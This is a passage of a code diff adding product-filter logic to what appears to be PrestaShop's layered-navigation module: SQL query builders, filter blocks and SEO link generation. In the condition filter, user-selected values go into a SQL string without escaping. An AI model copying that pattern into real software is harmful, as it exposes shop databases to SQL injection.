'._DB_PREFIX_.'layered_indexable_attribute_lang_value lial + ON (lial.id_attribute = lpa.id_attribute AND lial.id_lang = '.$id_lang.') '; + $sql_query['where'] = 'WHERE a.id_attribute_group = '.(int)$filter['id_value']; + if (version_compare(_PS_VERSION_,'1.5','>')) + $sql_query['where'] .= ' AND lpa.`id_shop` = '.(int)Context::getContext()->shop->id; + $sql_query['where'] .= ' AND '.$alias.'.active = 1 AND p.id_product IN ( + SELECT id_product + FROM '._DB_PREFIX_.'category_product cp + INNER JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category AND + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1)) '; + $sql_query['group'] = ' + GROUP BY lpa.id_attribute + ORDER BY id_attribute_group, id_attribute '; + + if (!Configuration::get('PS_LAYERED_HIDE_0_VALUES')) + { + $sql_query['second_query'] = ' + SELECT 0 nbr, lpa.id_attribute_group, + a.color, al.name attribute_name, agl.public_name attribute_group_name , lpa.id_attribute, ag.is_color_group, + liagl.url_name name_url_name, liagl.meta_title name_meta_title, lial.url_name value_url_name, lial.meta_title value_meta_title + + FROM '._DB_PREFIX_.'layered_product_attribute lpa + '.(version_compare(_PS_VERSION_,'1.5','>') ? Shop::addSqlAssociation('product', 'lpa') : '').' + INNER JOIN '._DB_PREFIX_.'attribute a + ON a.id_attribute = lpa.id_attribute + INNER JOIN '._DB_PREFIX_.'attribute_lang al + ON al.id_attribute = a.id_attribute + AND al.id_lang = '.$id_lang.' + INNER JOIN '._DB_PREFIX_.'product as p + ON p.id_product = lpa.id_product + INNER JOIN '._DB_PREFIX_.'attribute_group ag + ON ag.id_attribute_group = lpa.id_attribute_group + INNER JOIN '._DB_PREFIX_.'attribute_group_lang agl + ON agl.id_attribute_group = lpa.id_attribute_group + AND agl.id_lang = '.$id_lang.' + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_group_lang_value liagl + ON (liagl.id_attribute_group = lpa.id_attribute_group AND liagl.id_lang = '.$id_lang.') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_attribute_lang_value lial + ON (lial.id_attribute = lpa.id_attribute AND lial.id_lang = '.$id_lang.') + + WHERE '.$alias.'.active = 1 AND a.id_attribute_group = '.(int)$filter['id_value'].' + '.(version_compare(_PS_VERSION_,'1.5','>') ? 'AND lpa.`id_shop` = '.(int)Context::getContext()->shop->id : '').' + + GROUP BY lpa.id_attribute + ORDER BY id_attribute_group, id_attribute'; + } + break; + + case 'id_feature': + $sql_query['select'] = 'SELECT fl.name feature_name, fp.id_feature, fv.id_feature_value, fvl.value, + COUNT(DISTINCT p.id_product) nbr, + lifl.url_name name_url_name, lifl.meta_title name_meta_title, lifvl.url_name value_url_name, lifvl.meta_title value_meta_title '; + $sql_query['from'] = ' + FROM '._DB_PREFIX_.'feature_product fp + INNER JOIN '._DB_PREFIX_.'product p ON (p.id_product = fp.id_product) + LEFT JOIN '._DB_PREFIX_.'feature_lang fl ON (fl.id_feature = fp.id_feature AND fl.id_lang = '.$id_lang.') + INNER JOIN '._DB_PREFIX_.'feature_value fv ON (fv.id_feature_value = fp.id_feature_value AND (fv.custom IS NULL OR fv.custom = 0)) + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fvl.id_feature_value = fp.id_feature_value AND fvl.id_lang = '.$id_lang.') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_lang_value lifl + ON (lifl.id_feature = fp.id_feature AND lifl.id_lang = '.$id_lang.') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_value_lang_value lifvl + ON (lifvl.id_feature_value = fp.id_feature_value AND lifvl.id_lang = '.$id_lang.') '; + $sql_query['where'] = 'WHERE '.$alias.'.`active` = 1 AND fp.id_feature = '.(int)$filter['id_value'].' + AND p.id_product IN ( + SELECT id_product + FROM '._DB_PREFIX_.'category_product cp + INNER JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category AND + '.(Configuration::get('PS_LAYERED_FULL_TREE') ? 'c.nleft >= '.(int)$parent->nleft.' + AND c.nright <= '.(int)$parent->nright : 'c.id_category = '.(int)$id_parent).' + AND c.active = 1)) '; + $sql_query['group'] = 'GROUP BY fv.id_feature_value '; + + if (!Configuration::get('PS_LAYERED_HIDE_0_VALUES')) + { + $sql_query['second_query'] = ' + SELECT fl.name feature_name, fp.id_feature, fv.id_feature_value, fvl.value, + 0 nbr, + lifl.url_name name_url_name, lifl.meta_title name_meta_title, lifvl.url_name value_url_name, lifvl.meta_title value_meta_title + + FROM '._DB_PREFIX_.'feature_product fp + '.(version_compare(_PS_VERSION_,'1.5','>') ? Shop::addSqlAssociation('product', 'fp') : '').' + INNER JOIN '._DB_PREFIX_.'product p ON (p.id_product = fp.id_product) + LEFT JOIN '._DB_PREFIX_.'feature_lang fl ON (fl.id_feature = fp.id_feature AND fl.id_lang = '.$id_lang.') + INNER JOIN '._DB_PREFIX_.'feature_value fv ON (fv.id_feature_value = fp.id_feature_value AND (fv.custom IS NULL OR fv.custom = 0)) + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fvl.id_feature_value = fp.id_feature_value AND fvl.id_lang = '.$id_lang.') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_lang_value lifl + ON (lifl.id_feature = fp.id_feature AND lifl.id_lang = '.$id_lang.') + LEFT JOIN '._DB_PREFIX_.'layered_indexable_feature_value_lang_value lifvl + ON (lifvl.id_feature_value = fp.id_feature_value AND lifvl.id_lang = '.$id_lang.') + WHERE '.$alias.'.`active` = 1 AND fp.id_feature = '.(int)$filter['id_value'].' + GROUP BY fv.id_feature_value'; + } + + break; + + case 'category': + $depth = Configuration::get('PS_LAYERED_FILTER_CATEGORY_DEPTH'); + if ($depth === false) + $depth = 1; + + $sql_query['select'] = ' + SELECT c.id_category, c.id_parent, cl.name, (SELECT count(DISTINCT p.id_product) # '; + $sql_query['from'] = ' + FROM '._DB_PREFIX_.'category_product cp + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) '; + $sql_query['where'] = ' + WHERE cp.id_category = c.id_category AND '.$alias.'.active = 1 '; + $sql_query['group'] = ') count_products + FROM '._DB_PREFIX_.'category c + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = c.id_category AND cl.id_lang = '.$id_lang.') + WHERE c.nleft > '.(int)$parent->nleft.' + AND c.nright < '.(int)$parent->nright.' + '.($depth ? 'AND c.level_depth <= '.($parent->level_depth+(int)$depth) : '').' + GROUP BY c.id_category ORDER BY c.nleft, c.position'; + } + + foreach ($filters as $filter_tmp) + { + $method_name = 'get'.ucfirst($filter_tmp['type']).'FilterSubQuery'; + if (method_exists('BlockLayered', $method_name) && + (!in_array($filter['type'], array('price', 'weight')) && $filter['type'] != $filter_tmp['type'] || $filter['type'] == $filter_tmp['type'])) + { + if ($filter['type'] == $filter_tmp['type'] && $filter['id_value'] == $filter_tmp['id_value']) + $sub_query_filter = self::$method_name(array(), true); + else + { + if (!is_null($filter_tmp['id_value'])) + $selected_filters_cleaned = $this->cleanFilterByIdValue(@$selected_filters[$filter_tmp['type']], $filter_tmp['id_value']); + else + $selected_filters_cleaned = @$selected_filters[$filter_tmp['type']]; + $sub_query_filter = self::$method_name($selected_filters_cleaned, $filter['type'] == $filter_tmp['type']); + } + foreach ($sub_query_filter as $key => $value) + $sql_query[$key] .= $value; + } + } + + $products = false; + if (!empty($sql_query['from'])) + { + if (version_compare(_PS_VERSION_,'1.5','>')) + $sql_query['from'] .= Shop::addSqlAssociation('product', 'p'); + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql_query['select']."\n".$sql_query['from']."\n".$sql_query['join']."\n".$sql_query['where']."\n".$sql_query['group']); + } + + foreach ($filters as $filter_tmp) + { + $method_name = 'filterProductsBy'.ucfirst($filter_tmp['type']); + if (method_exists('BlockLayered', $method_name) && + (!in_array($filter['type'], array('price', 'weight')) && $filter['type'] != $filter_tmp['type'] || $filter['type'] == $filter_tmp['type'])) + if ($filter['type'] == $filter_tmp['type']) + $products = self::$method_name(array(), $products); + else + $products = self::$method_name(@$selected_filters[$filter_tmp['type']], $products); + } + + if (!empty($sql_query['second_query'])) + { + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql_query['second_query']); + if ($res) + $products = array_merge($products, $res); + } + + switch ($filter['type']) + { + case 'price': + $price_array = array( + 'type_lite' => 'price', + 'type' => 'price', + 'id_key' => 0, + 'name' => $this->l('Price'), + 'slider' => true, + 'max' => '0', + 'min' => null, + 'values' => array ('1' => 0), + 'unit' => $currency->sign, + 'format' => $currency->format, + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + if (isset($products) && $products) + foreach ($products as $product) + { + if (is_null($price_array['min'])) + { + $price_array['min'] = $product['price_min']; + $price_array['values'][0] = $product['price_min']; + } + else if ($price_array['min'] > $product['price_min']) + { + $price_array['min'] = $product['price_min']; + $price_array['values'][0] = $product['price_min']; + } + + if ($price_array['max'] < $product['price_max']) + { + $price_array['max'] = $product['price_max']; + $price_array['values'][1] = $product['price_max']; + } + } + + if ($price_array['max'] != $price_array['min'] && $price_array['min'] != null) + { + if ($filter['filter_type'] == 2) + { + $price_array['list_of_values'] = array(); + $nbr_of_value = $filter['filter_show_limit']; + if ($nbr_of_value < 2) + $nbr_of_value = 4; + $delta = ($price_array['max'] - $price_array['min']) / $nbr_of_value; + $current_step = $price_array['min']; + for ($i = 0; $i < $nbr_of_value; $i++) + $price_array['list_of_values'][] = array( + (int)($price_array['min'] + $i * $delta), + (int)($price_array['min'] + ($i + 1) * $delta) + ); + } + if (isset($selected_filters['price']) && isset($selected_filters['price'][0]) + && isset($selected_filters['price'][1])) + { + $price_array['values'][0] = $selected_filters['price'][0]; + $price_array['values'][1] = $selected_filters['price'][1]; + } + $filter_blocks[] = $price_array; + } + break; + + case 'weight': + $weight_array = array( + 'type_lite' => 'weight', + 'type' => 'weight', + 'id_key' => 0, + 'name' => $this->l('Weight'), + 'slider' => true, + 'max' => '0', + 'min' => null, + 'values' => array ('1' => 0), + 'unit' => Configuration::get('PS_WEIGHT_UNIT'), + 'format' => 5, // Ex: xxxxx kg + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + if (isset($products) && $products) + foreach ($products as $product) + { + if (is_null($weight_array['min'])) + { + $weight_array['min'] = $product['weight']; + $weight_array['values'][0] = $product['weight']; + } + else if ($weight_array['min'] > $product['weight']) + { + $weight_array['min'] = $product['weight']; + $weight_array['values'][0] = $product['weight']; + } + + if ($weight_array['max'] < $product['weight']) + { + $weight_array['max'] = $product['weight']; + $weight_array['values'][1] = $product['weight']; + } + } + if ($weight_array['max'] != $weight_array['min'] && $weight_array['min'] != null) + { + if (isset($selected_filters['weight']) && isset($selected_filters['weight'][0]) + && isset($selected_filters['weight'][1])) + { + $weight_array['values'][0] = $selected_filters['weight'][0]; + $weight_array['values'][1] = $selected_filters['weight'][1]; + } + $filter_blocks[] = $weight_array; + } + break; + + case 'condition': + $condition_array = array( + 'new' => array('name' => $this->l('New'),'nbr' => 0), + 'used' => array('name' => $this->l('Used'), 'nbr' => 0), + 'refurbished' => array('name' => $this->l('Refurbished'), + 'nbr' => 0) + ); + if (isset($products) && $products) + foreach ($products as $product) + if (isset($selected_filters['condition']) && in_array($product['condition'], $selected_filters['condition'])) + $condition_array[$product['condition']]['checked'] = true; + foreach ($condition_array as $key => $condition) + if (isset($selected_filters['condition']) && in_array($key, $selected_filters['condition'])) + $condition_array[$key]['checked'] = true; + if (isset($products) && $products) + foreach ($products as $product) + if (isset($condition_array[$product['condition']])) + $condition_array[$product['condition']]['nbr']++; + $filter_blocks[] = array( + 'type_lite' => 'condition', + 'type' => 'condition', + 'id_key' => 0, + 'name' => $this->l('Condition'), + 'values' => $condition_array, + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + break; + + case 'quantity': + $quantity_array = array ( + 0 => array('name' => $this->l('Not available'), 'nbr' => 0), + 1 => array('name' => $this->l('In stock'), + 'nbr' => 0)); + foreach ($quantity_array as $key => $quantity) + if (isset($selected_filters['quantity']) && in_array($key, $selected_filters['quantity'])) + $quantity_array[$key]['checked'] = true; + if (isset($products) && $products) + foreach ($products as $product) + $quantity_array[(int)($product['quantity'] > 0)]['nbr']++; + $filter_blocks[] = array( + 'type_lite' => 'quantity', + 'type' => 'quantity', + 'id_key' => 0, + 'name' => $this->l('Availability'), + 'values' => $quantity_array, + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + break; + + case 'manufacturer': + if (isset($products) && $products) + { + $manufaturers_array = array(); + foreach ($products as $manufacturer) + { + if (!isset($manufaturers_array[$manufacturer['id_manufacturer']])) + $manufaturers_array[$manufacturer['id_manufacturer']] = array('name' => $manufacturer['name'], 'nbr' => $manufacturer['nbr']); + if (isset($selected_filters['manufacturer']) && in_array((int)$manufacturer['id_manufacturer'], $selected_filters['manufacturer'])) + $manufaturers_array[$manufacturer['id_manufacturer']]['checked'] = true; + } + $filter_blocks[] = array( + 'type_lite' => 'manufacturer', + 'type' => 'manufacturer', + 'id_key' => 0, + 'name' => $this->l('Manufacturer'), + 'values' => $manufaturers_array, + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + } + break; + + case 'id_attribute_group': + $attributes_array = array(); + if (isset($products) && $products) + { + foreach ($products as $attributes) + { + if (!isset($attributes_array[$attributes['id_attribute_group']])) + $attributes_array[$attributes['id_attribute_group']] = array ( + 'type_lite' => 'id_attribute_group', + 'type' => 'id_attribute_group', + 'id_key' => (int)$attributes['id_attribute_group'], + 'name' => $attributes['attribute_group_name'], + 'is_color_group' => (bool)$attributes['is_color_group'], + 'values' => array(), + 'url_name' => $attributes['name_url_name'], + 'meta_title' => $attributes['name_meta_title'], + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + + if (!isset($attributes_array[$attributes['id_attribute_group']]['values'][$attributes['id_attribute']])) + $attributes_array[$attributes['id_attribute_group']]['values'][$attributes['id_attribute']] = array( + 'color' => $attributes['color'], + 'name' => $attributes['attribute_name'], + 'nbr' => (int)$attributes['nbr'], + 'url_name' => $attributes['value_url_name'], + 'meta_title' => $attributes['value_meta_title'] + ); + + if (isset($selected_filters['id_attribute_group'][$attributes['id_attribute']])) + $attributes_array[$attributes['id_attribute_group']]['values'][$attributes['id_attribute']]['checked'] = true; + } + $filter_blocks = array_merge($filter_blocks, $attributes_array); + } + break; + case 'id_feature': + $feature_array = array(); + if (isset($products) && $products) + { + foreach ($products as $feature) + { + if (!isset($feature_array[$feature['id_feature']])) + $feature_array[$feature['id_feature']] = array( + 'type_lite' => 'id_feature', + 'type' => 'id_feature', + 'id_key' => (int)$feature['id_feature'], + 'values' => array(), + 'name' => $feature['feature_name'], + 'url_name' => $feature['name_url_name'], + 'meta_title' => $feature['name_meta_title'], + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + + if (!isset($feature_array[$feature['id_feature']]['values'][$feature['id_feature_value']])) + $feature_array[$feature['id_feature']]['values'][$feature['id_feature_value']] = array( + 'nbr' => (int)$feature['nbr'], + 'name' => $feature['value'], + 'url_name' => $feature['value_url_name'], + 'meta_title' => $feature['value_meta_title'] + ); + + if (isset($selected_filters['id_feature'][$feature['id_feature_value']])) + $feature_array[$feature['id_feature']]['values'][$feature['id_feature_value']]['checked'] = true; + } + $filter_blocks = array_merge($filter_blocks, $feature_array); + } + break; + + case 'category': + $tmp_array = array(); + if (isset($products) && $products) + { + $categories_with_products_count = 0; + foreach ($products as $category) + { + $tmp_array[$category['id_category']] = array( + 'name' => $category['name'], + 'nbr' => (int)$category['count_products'] + ); + + if ((int)$category['count_products']) + $categories_with_products_count++; + + if (isset($selected_filters['category']) && in_array($category['id_category'], $selected_filters['category'])) + $tmp_array[$category['id_category']]['checked'] = true; + } + if ($categories_with_products_count || !Configuration::get('PS_LAYERED_HIDE_0_VALUES')) + $filter_blocks[] = array ( + 'type_lite' => 'category', + 'type' => 'category', + 'id_key' => 0, 'name' => $this->l('Categories'), + 'values' => $tmp_array, + 'filter_show_limit' => $filter['filter_show_limit'], + 'filter_type' => $filter['filter_type'] + ); + } + break; + + } + } + + // All non indexable attribute and feature + $non_indexable = array(); + + // Get all non indexable attribute groups + foreach (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT public_name + FROM `'._DB_PREFIX_.'attribute_group_lang` agl + LEFT JOIN `'._DB_PREFIX_.'layered_indexable_attribute_group` liag + ON liag.id_attribute_group = agl.id_attribute_group + WHERE indexable IS NULL OR indexable = 0 + AND id_lang = '.$id_lang) as $attribute) + $non_indexable[] = Tools::link_rewrite($attribute['public_name']); + + // Get all non indexable features + foreach (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT name + FROM `'._DB_PREFIX_.'feature_lang` fl + LEFT JOIN `'._DB_PREFIX_.'layered_indexable_feature` lif + ON lif.id_feature = fl.id_feature + WHERE indexable IS NULL OR indexable = 0 + AND id_lang = '.$id_lang) as $attribute) + $non_indexable[] = Tools::link_rewrite($attribute['name']); + + //generate SEO link + $param_selected = ''; + $param_product_url = ''; + $option_checked_array = array(); + $param_group_selected_array = array(); + $title_values = array(); + $meta_values = array(); + + //get filters checked by group + foreach ($filter_blocks as $type_filter) + { + $filter_name = (!empty($type_filter['url_name']) ? $type_filter['url_name'] : $type_filter['name']); + $filter_meta = (!empty($type_filter['meta_title']) ? $type_filter['meta_title'] : ''); + $attr_key = $type_filter['type'].'_'.$type_filter['id_key']; + + $param_group_selected = ''; + foreach ($type_filter['values'] as $key => $value) + { + if (is_array($value) && array_key_exists('checked', $value )) + { + $value_name = !empty($value['url_name']) ? $value['url_name'] : $value['name']; + $value_meta = !empty($value['meta_title']) ? $value['meta_title'] : $value['name']; + $param_group_selected .= '-'.str_replace('-', '_', Tools::link_rewrite($value_name)); + $param_group_selected_array[Tools::link_rewrite($filter_name)][] = Tools::link_rewrite($value_name); + + if (!isset($title_values[$filter_name])) + $title_values[$filter_name] = array(); + $title_values[$filter_name][] = $value_name; + if (!isset($meta_values[$attr_key])) + $meta_values[$attr_key] = array('title' => $filter_meta, 'values' => array()); + $meta_values[$attr_key]['values'][] = $value_meta; + } + else + $param_group_selected_array[Tools::link_rewrite($filter_name)][] = array(); + } + if (!empty($param_group_selected)) + { + $param_selected .= '/'.str_replace('-', '_', Tools::link_rewrite($filter_name)).$param_group_selected; + $option_checked_array[Tools::link_rewrite($filter_name)] = $param_group_selected; + } + // select only attribute and group attribute to display an unique product combination link + if (!empty($param_group_selected) && $type_filter['type'] == 'id_attribute_group') + $param_product_url .= '/'.str_replace('-', '_', Tools::link_rewrite($filter_name)).$param_group_selected; + + } + + if ($this->page > 1) + $param_selected .= '/page-'.$this->page; + + $blacklist = array('weight', 'price'); + + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_CDT')) + $blacklist[] = 'condition'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_QTY')) + $blacklist[] = 'quantity'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_MNF')) + $blacklist[] = 'manufacturer'; + if (!Configuration::get('PS_LAYERED_FILTER_INDEX_CAT')) + $blacklist[] = 'category'; + + $global_nofollow = false; + + foreach ($filter_blocks as &$type_filter) + { + $filter_name = (!empty($type_filter['url_name']) ? $type_filter['url_name'] : $type_filter['name']); + + if (count($type_filter) > 0 && !isset($type_filter['slider'])) + { + foreach ($type_filter['values'] as $key => $values) + { + $nofollow = false; + if (!empty($values['checked']) && in_array($type_filter['type'], $blacklist)) + $global_nofollow = true; + $option_checked_clone_array = $option_checked_array; + + // If not filters checked, add parameter + $value_name = !empty($values['url_name']) ? $values['url_name'] : $values['name']; + if (!in_array(Tools::link_rewrite($value_name), $param_group_selected_array[Tools::link_rewrite($filter_name)])) + { + // Update parameter filter checked before + if (array_key_exists(Tools::link_rewrite($filter_name), $option_checked_array)) + { + $option_checked_clone_array[Tools::link_rewrite($filter_name)] = $option_checked_clone_array[Tools::link_rewrite($filter_name)].'-'.str_replace('-', '_', Tools::link_rewrite($value_name)); + $nofollow = true; + } + else + $option_checked_clone_array[Tools::link_rewrite($filter_name)] = '-'.str_replace('-', '_', Tools::link_rewrite($value_name)); + } + else + { + // Remove selected parameters + $option_checked_clone_array[Tools::link_rewrite($filter_name)] = str_replace('-'.str_replace('-', '_', Tools::link_rewrite($value_name)), '', $option_checked_clone_array[Tools::link_rewrite($filter_name)]); + if (empty($option_checked_clone_array[Tools::link_rewrite($filter_name)])) + unset($option_checked_clone_array[Tools::link_rewrite($filter_name)]); + } + $parameters = ''; + ksort($option_checked_clone_array); // Order parameters + foreach ($option_checked_clone_array as $key_group => $value_group) + $parameters .= '/'.str_replace('-', '_', $key_group).$value_group; + + // Check if there is an non indexable attribute or feature in the url + foreach ($non_indexable as $value) + if (strpos($parameters, '/'.$value) !== false) + $nofollow = true; + + if (version_compare(_PS_VERSION_,'1.5','>')) + $type_filter['values'][$key]['link'] = Context::getContext()->link->getCategoryLink($parent, null, null, ltrim($parameters, '/')); + else + { + $link = new Link(); + $link_base = $link->getCategoryLink($id_parent, Category::getLinkRewrite($id_parent, $id_lang), $id_lang); + // Write link by mode rewriting + if (!Configuration::get('PS_REWRITING_SETTINGS')) + $type_filter['values'][$key]['link'] = $link_base.'&selected_filters='.$parameters; + else + $type_filter['values'][$key]['link'] = $link_base.$parameters; + } + + $type_filter['values'][$key]['rel'] = ($nofollow) ? 'nofollow' : ''; + } + } + } + + $n_filters = 0; + if (isset($selected_filters['price'])) + if ($price_array['min'] == $selected_filters['price'][0] && $price_array['max'] == $selected_filters['price'][1]) + unset($selected_filters['price']); + if (isset($selected_filters['weight'])) + if ($weight_array['min'] == $selected_filters['weight'][0] && $weight_array['max'] == $selected_filters['weight'][1]) + unset($selected_filters['weight']); + + foreach ($selected_filters as $filters) + $n_filters += count($filters); + + $cache = array( + 'layered_show_qties' => (int)Configuration::get('PS_LAYERED_SHOW_QTIES'), + 'id_category_layered' => (int)$id_parent, + 'selected_filters' => $selected_filters, + 'n_filters' => (int)$n_filters, + 'nbr_filterBlocks' => count($filter_blocks), + 'filters' => $filter_blocks, + 'title_values' => $title_values, + 'meta_values' => $meta_values, + 'current_friendly_url' => $param_selected, + 'param_product_url' => $param_product_url, + 'no_follow' => (!empty($param_selected) || $global_nofollow) + ); + + return $cache; + } + + public function cleanFilterByIdValue($attributes, $id_value) + { + $selected_filters = array(); + if (is_array($attributes)) + foreach ($attributes as $attribute) + { + $attribute_data = explode('_', $attribute); + if ($attribute_data[0] == $id_value) + $selected_filters[] = $attribute_data[1]; + } + return $selected_filters; + } + + public function generateFiltersBlock($selected_filters) + { + global $smarty; + if ($filter_block = $this->getFilterBlock($selected_filters)) + { + if ($filter_block['nbr_filterBlocks'] == 0) + return false; + + $smarty->assign($filter_block); + $smarty->assign('hide_0_values', Configuration::get('PS_LAYERED_HIDE_0_VALUES')); + + return $this->display(__FILE__, 'blocklayered.tpl'); + } + else + return false; + } + + private static function getPriceFilterSubQuery($filter_value) + { + if (version_compare(_PS_VERSION_,'1.5','>')) + $id_currency = (int)Context::getContext()->currency->id; + else + $id_currency = (int)Currency::getCurrent()->id; + if (isset($filter_value) && $filter_value) + { + $price_filter_query = ' + INNER JOIN `'._DB_PREFIX_.'layered_price_index` psi ON (psi.id_product = p.id_product AND psi.id_currency = '.(int)$id_currency.' + AND psi.price_min <= '.(int)$filter_value[1].' AND psi.price_max >= '.(int)$filter_value[0].') '; + } + else + { + $price_filter_query = ' + INNER JOIN `'._DB_PREFIX_.'layered_price_index` psi + ON (psi.id_product = p.id_product AND psi.id_currency = '.(int)$id_currency.') '; + } + + return array('join' => $price_filter_query, 'select' => ', psi.price_min, psi.price_max'); + } + + private static function filterProductsByPrice($filter_value, $product_collection) + { + if (empty($filter_value)) + return $product_collection; + foreach ($product_collection as $key => $product) + { + if (isset($filter_value) && $filter_value && isset($product['price_min']) && isset($product['id_product']) + && ((int)$filter_value[0] > $product['price_min'] || (int)$filter_value[1] < $product['price_max'])) + { + $price = Product::getPriceStatic($product['id_product'], Configuration::get('PS_LAYERED_FILTER_PRICE_USETAX')); + if ($price < $filter_value[0] || $price > $filter_value[1]) + continue; + unset($product_collection[$key]); + } + } + return $product_collection; + } + + private static function getWeightFilterSubQuery($filter_value, $ignore_join) + { + if (isset($filter_value) && $filter_value) + if ($filter_value[0] != 0 || $filter_value[1] != 0) + return array('where' => ' AND p.`weight` BETWEEN '.(float)($filter_value[0] - 0.001).' AND '.(float)($filter_value[1] + 0.001).' '); + + return array(); + } + + private static function getId_featureFilterSubQuery($filter_value, $ignore_join) + { + if (empty($filter_value)) + return array(); + $query_filters = ' AND p.id_product IN (SELECT id_product FROM '._DB_PREFIX_.'feature_product fp WHERE '; + foreach ($filter_value as $filter_val) + $query_filters .= 'fp.`id_feature_value` = '.(int)$filter_val.' OR '; + $query_filters = rtrim($query_filters, 'OR ').') '; + + return array('where' => $query_filters); + } + private static function getId_attribute_groupFilterSubQuery($filter_value, $ignore_join) + { + if (empty($filter_value)) + return array(); + $query_filters = ' + AND p.id_product IN (SELECT pa.`id_product` + FROM `'._DB_PREFIX_.'product_attribute_combination` pac + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pa.`id_product_attribute` = pac.`id_product_attribute`) + WHERE '; + + foreach ($filter_value as $filter_val) + $query_filters .= 'pac.`id_attribute` = '.(int)$filter_val.' OR '; + $query_filters = rtrim($query_filters, 'OR ').') '; + + return array('where' => $query_filters); + } + + private static function getCategoryFilterSubQuery($filter_value, $ignore_join) + { + if (empty($filter_value)) + return array(); + $query_filters_join = ''; + $query_filters_where = ' AND p.id_product IN (SELECT id_product FROM '._DB_PREFIX_.'category_product cp WHERE '; + foreach ($filter_value as $id_category) + $query_filters_where .= 'cp.`id_category` = '.(int)$id_category.' OR '; + $query_filters_where = rtrim($query_filters_where, 'OR ').') '; + + return array('where' => $query_filters_where, 'join' => $query_filters_join); + } + + private static function getQuantityFilterSubQuery($filter_value, $ignore_join) + { + if (count($filter_value) == 2 || empty($filter_value)) + return array(); + + $query_filters_join = ''; + + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $query_filters = ' AND sav.quantity '.(!$filter_value[0] ? '<=' : '>').' 0 '; + $query_filters_join = 'LEFT JOIN `'._DB_PREFIX_.'stock_available` sav ON (sav.id_product = p.id_product AND sav.id_shop = '.(int)Context::getContext()->shop->id.') '; + } + else + $query_filters = ' AND p.quantity '.(!$filter_value[0] ? '<=' : '>').' 0 '; + + return array('where' => $query_filters, 'join' => $query_filters_join); + } + + private static function getManufacturerFilterSubQuery($filter_value, $ignore_join) + { + if (empty($filter_value)) + $query_filters = ''; + else + { + array_walk($filter_value, create_function('&$id_manufacturer', '$id_manufacturer = (int)$id_manufacturer;')); + $query_filters = ' AND p.id_manufacturer IN ('.implode($filter_value, ',').')'; + } + if ($ignore_join) + return array('where' => $query_filters, 'select' => ', m.name'); + else + return array('where' => $query_filters, 'select' => ', m.name', 'join' => 'LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (m.id_manufacturer = p.id_manufacturer) '); + } + + private static function getConditionFilterSubQuery($filter_value, $ignore_join) + { + if (count($filter_value) == 3 || empty($filter_value)) + return array(); + if (version_compare(_PS_VERSION_,'1.5','>')) + $query_filters = ' AND product_shop.condition IN ('; + else + $query_filters = ' AND p.condition IN ('; + foreach ($filter_value as $cond) + $query_filters .= '\''.$cond.'\','; + $query_filters = rtrim($query_filters, ',').') '; + + return array('where' => $query_filters); + } + + public function ajaxCallBackOffice($category_box = array(), $id_layered_filter = null) + { + global $cookie; + + if (!empty($id_layered_filter)) + { + $layered_filter = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow('SELECT * FROM '._DB_PREFIX_.'layered_filter WHERE id_layered_filter = '.(int)$id_layered_filter); + if ($layered_filter && isset($layered_filter['filters']) && !empty($layered_filter['filters'])) + $layered_values = self::unSerialize($layered_filter['filters']); + if (isset($layered_values['categories']) && count($layered_values['categories'])) + foreach ($layered_values['categories'] as $id_category) + $category_box[] = (int)$id_category; + } + + /* Clean categoryBox before use */ + if (isset($category_box) && is_array($category_box)) + foreach ($category_box as &$value) + $value = (int)$value; + else + $category_box = array(); + + $attribute_groups = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ag.id_attribute_group, ag.is_color_group, agl.name, COUNT(DISTINCT(a.id_attribute)) n + FROM '._DB_PREFIX_.'attribute_group ag + LEFT JOIN '._DB_PREFIX_.'attribute_group_lang agl ON (agl.id_attribute_group = ag.id_attribute_group) + LEFT JOIN '._DB_PREFIX_.'attribute a ON (a.id_attribute_group = ag.id_attribute_group) + '.(count($category_box) ? ' + LEFT JOIN '._DB_PREFIX_.'product_attribute_combination pac ON (pac.id_attribute = a.id_attribute) + LEFT JOIN '._DB_PREFIX_.'product_attribute pa ON (pa.id_product_attribute = pac.id_product_attribute) + '.(version_compare(_PS_VERSION_,'1.5','>') ? Shop::addSqlAssociation('product_attribute', 'pa') : '').' + LEFT JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = pa.id_product)' : '').' + WHERE agl.id_lang = '.(int)$cookie->id_lang. + (count($category_box) ? ' AND cp.id_category IN ('.implode(',', $category_box).')' : '').' + GROUP BY ag.id_attribute_group'); + + $features = 